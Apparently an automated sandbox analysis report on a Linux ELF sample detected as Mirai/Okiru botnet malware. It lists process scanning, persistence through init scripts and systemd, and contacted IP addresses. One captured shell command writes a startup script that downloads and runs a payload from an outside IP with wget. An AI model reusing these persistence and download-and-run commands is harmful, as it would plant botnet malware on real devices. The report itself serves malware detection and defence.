Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6433/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6425/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6424/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6427/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6426/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6429/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6428/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6441/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6440/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6400/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6060/cmdline Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6414/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6436/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6413/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6435/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6438/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6437/status Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6325) File opened: /proc/6439/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/HUWwCrf0mn.elf (PID: 6255) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6297) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6304) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6313) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh" Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6314) Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1" Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6316) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/HUWwCrf0mn.elf (PID: 6318) Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6303) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 6315) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6317) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6269) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6303) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6315) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6313) Writes shell script file to disk with an unusual file extension: /etc/init.d/sh Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/HUWwCrf0mn.elf (PID: 6232) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 6313) File: /etc/init.d/sh Jump to dropped file
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 37932
Source: HUWwCrf0mn.elf, 6245.1.0000000002076000.0000000002078000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: HUWwCrf0mn.elf, type: SAMPLE
Source: Yara match File source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: HUWwCrf0mn.elf, type: SAMPLE
Source: Yara match File source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: HUWwCrf0mn.elf PID: 6232, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: HUWwCrf0mn.elf PID: 6245, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: HUWwCrf0mn.elf, type: SAMPLE
Source: Yara match File source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: HUWwCrf0mn.elf, type: SAMPLE
Source: Yara match File source: 6245.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6232.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: HUWwCrf0mn.elf PID: 6232, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: HUWwCrf0mn.elf PID: 6245, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
204.157.220.45
 unknown United States
174 COGENT-174US false
177.36.61.161
 unknown Brazil
262909 JKTELECOMUNICACOESLTDABR false
132.178.242.205
 unknown United States
46662 BSU-ASUS false
151.196.57.31
 unknown United States
701 UUNETUS false
34.45.137.189
 unknown United States
2686 ATGS-MMD-ASUS false
159.13.3.118
 unknown Australia
45956 ETSA-AS-APETSAUtilitiesAU false
223.203.88.27
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
203.180.19.190
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
40.169.70.104
 unknown United States
4249 LILLY-ASUS false
145.187.240.173
 unknown Netherlands
59524 KPN-IAASNL false
11.116.127.116
 unknown United States
27651 ENTELCHILESACL false
11.13.81.245
 unknown United States
3356 LEVEL3US false
170.236.1.102
 unknown Switzerland
11685 HNBCOL-ASUS false
139.116.230.220
 unknown Norway
5619 EVRY-NO false
63.252.39.135
 unknown United States
7029 WINDSTREAMUS false
186.67.223.184
 unknown Chile
27651 ENTELCHILESACL false
142.107.245.6
 unknown Canada
808 GONET-ASN-1CA false
78.48.150.121
 unknown Germany
6805 TDDE-ASN1DE false
178.102.242.63
 unknown United Kingdom
12576 EELtdGB false
12.12.20.16
 unknown United States
32328 ALASCOM-IP-MANAGED-NETWORKUS false
71.172.33.29
 unknown United States
701 UUNETUS false
97.171.36.255
 unknown United States
6167 CELLCO-PARTUS false
106.115.39.235
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
212.49.223.17
 unknown United Kingdom
8426 CLARANET-ASClaraNETLTDGB false
20.175.12.205
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
9.114.176.68
 unknown United States
3356 LEVEL3US false
163.134.3.32
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
105.135.94.89
 unknown Morocco
6713 IAM-ASMA false
200.240.20.247
 unknown Brazil
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
80.180.247.233
 unknown Italy
3269 ASN-IBSNAZIT false
215.136.187.76
 unknown United States
721 DNIC-ASBLK-00721-00726US false
66.37.56.163
 unknown United States
13333 CCI-PA-AS-1US false
185.105.156.172
 unknown Belgium
204182 AWV-TELEMATICABE false
151.166.216.64
 unknown United States
385 AFCONC-BLOCK1-ASUS false
115.77.143.11
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
75.181.15.31
 unknown United States
11426 TWC-11426-CAROLINASUS false
15.91.118.240
 unknown United States
13979 ATT-IPFRUS false
1.117.212.3
 unknown China
37903 EMOBILEYmobileCorporationJP false
19.235.193.156
 unknown United States
3 MIT-GATEWAYSUS false
139.50.152.189
 unknown Germany
16623 AHSCA false
175.53.171.161
 unknown China
134810 CMNET-JILIN-AS-APChinaMobileGroupJiLincommunicationsco false
132.100.187.10
 unknown United States
306 DNIC-ASBLK-00306-00371US false
188.216.199.38
 unknown Italy
30722 VODAFONE-IT-ASNIT false
12.123.122.142
 unknown United States
7018 ATT-INTERNET4US false
95.166.115.94
 unknown Denmark
3292 TDCTDCASDK false
46.17.125.245
 unknown Serbia
197324 IINET-ASRS false
138.193.31.126
 unknown United States
21727 HAMLINE-EDUUS false
42.159.72.123
 unknown China
58593 BLUECLOUDShanghaiBlueCloudTechnologyCoLtdCN false
7.192.54.46
 unknown United States
3356 LEVEL3US false
94.28.109.107
 unknown Russian Federation
12772 ENFORTA-ASEnfortaAutonomousSystemRU false
70.193.177.131
 unknown United States
6167 CELLCO-PARTUS false
106.3.186.24
 unknown China
58730 HKDNCL-ASHKDNETInternetGatewayHK false
124.115.2.173
 unknown China
4835 CHINANET-IDC-SNChinaTelecomGroupCN false
141.158.88.201
 unknown United States
701 UUNETUS false
116.184.204.85
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
25.185.14.19
 unknown United Kingdom
7922 COMCAST-7922US false
61.75.202.21
 unknown Korea Republic of
9631 YSU-AS-KRyoungsanuniversityKR false
30.53.16.47
 unknown United States
7922 COMCAST-7922US false
100.3.179.219
 unknown United States
5650 FRONTIER-FRTRUS false
217.220.11.0
 unknown Italy
8968 BT-ITALIAIT false
151.180.166.4
 unknown United Kingdom
45025 EDN-ASUA false
103.193.182.27
 unknown Cambodia
18126 CTCXChubuTelecommunicationsCompanyIncJP false
172.200.164.156
 unknown United States
18747 IFX18747US false
179.50.127.137
 unknown Colombia
26619 GTDCOLOMBIASASCO false
13.46.218.233
 unknown United States
7018 ATT-INTERNET4US false
37.216.24.94
 unknown Saudi Arabia
35819 MOBILY-ASEtihadEtisalatCompanyMobilySA false
154.82.200.253
 unknown Seychelles
396076 ROOT-NETWORKSUS false
112.193.83.191
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
184.102.164.131
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
135.255.82.245
 unknown United States
10455 LUCENT-CIOUS false
198.198.168.30
 unknown United States
292 ESNET-WESTUS false
32.117.178.68
 unknown United States
7018 ATT-INTERNET4US false
44.233.80.244
 unknown United States
16509 AMAZON-02US false
17.228.43.30
 unknown United States
714 APPLE-ENGINEERINGUS false
191.210.152.199
 unknown Brazil
26599 TELEFONICABRASILSABR false
112.217.185.1
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
151.105.34.121
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
219.94.46.154
 unknown Malaysia
4788 TMNET-AS-APTMNetInternetServiceProviderMY false
64.25.155.240
 unknown United States
16822 VISERUS false
211.88.47.104
 unknown China
9306 CIECC-AS-APChinaInternationalElectronicCommerceCenter false
156.144.103.174
 unknown United States
3743 ARCEL-2US false
193.143.1.59
 unknown unknown
57271 BITWEB-ASRU false
207.234.251.241
 unknown United States
3064 AFFINITY-FTLUS false
17.72.103.207
 unknown United States
714 APPLE-ENGINEERINGUS false
217.21.57.88
 unknown Belarus
60744 ASITMOBY false
198.87.181.102
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
99.42.143.252
 unknown United States
7018 ATT-INTERNET4US false
28.52.74.136
 unknown United States
7922 COMCAST-7922US false
68.12.222.23
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
17.29.196.248
 unknown United States
714 APPLE-ENGINEERINGUS false
210.226.230.179
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
122.64.21.149
 unknown China
38341 CNNIC-HCENET-APHEXIEInformationtechnologyCoLtdCN false
170.84.66.130
 unknown Brazil
265009 DCSANTOSCOMUNICACAOCOMERCIOESERVBR false
18.70.147.27
 unknown United States
3 MIT-GATEWAYSUS false
73.150.218.84
 unknown United States
7922 COMCAST-7922US false
93.180.117.112
 unknown Bosnia and Herzegowina
42560 BA-TELEMACH-ASTelemachdooSarajevoBA false
107.253.226.218
 unknown United States
7018 ATT-INTERNET4US false
8.207.151.157
 unknown United States
3356 LEVEL3US false
161.112.87.240
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
159.106.205.36
 unknown United States
16050 REUTERS-DOCKLANDS-RES-ASReutersDocklandsresiliancyGB false